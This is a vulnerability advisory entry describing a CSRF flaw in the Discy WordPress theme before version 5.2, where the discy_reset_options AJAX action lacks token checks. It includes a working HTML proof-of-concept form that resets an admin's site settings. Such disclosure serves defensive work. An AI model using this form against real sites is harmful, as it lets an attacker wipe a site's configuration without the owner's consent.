Themes Vulnerabilities
Discy < 5.2 - Restore Default Settings via CSRF
Description
The theme does not check for CSRF tokens in the AJAX action discy_reset_options, allowing an attacker to trick an admin into resetting the site settings back to defaults.
Proof of Concept
<html> <body> <form action="http://example.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="discy_reset_options" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Affects Themes
Fixed in 5.2
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Bikram Kharal
Submitter
Bikram Kharal
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-05-16 (about 1 years ago)
Added
2022-05-16 (about 1 years ago)
Last Updated
2022-05-17 (about 1 years ago)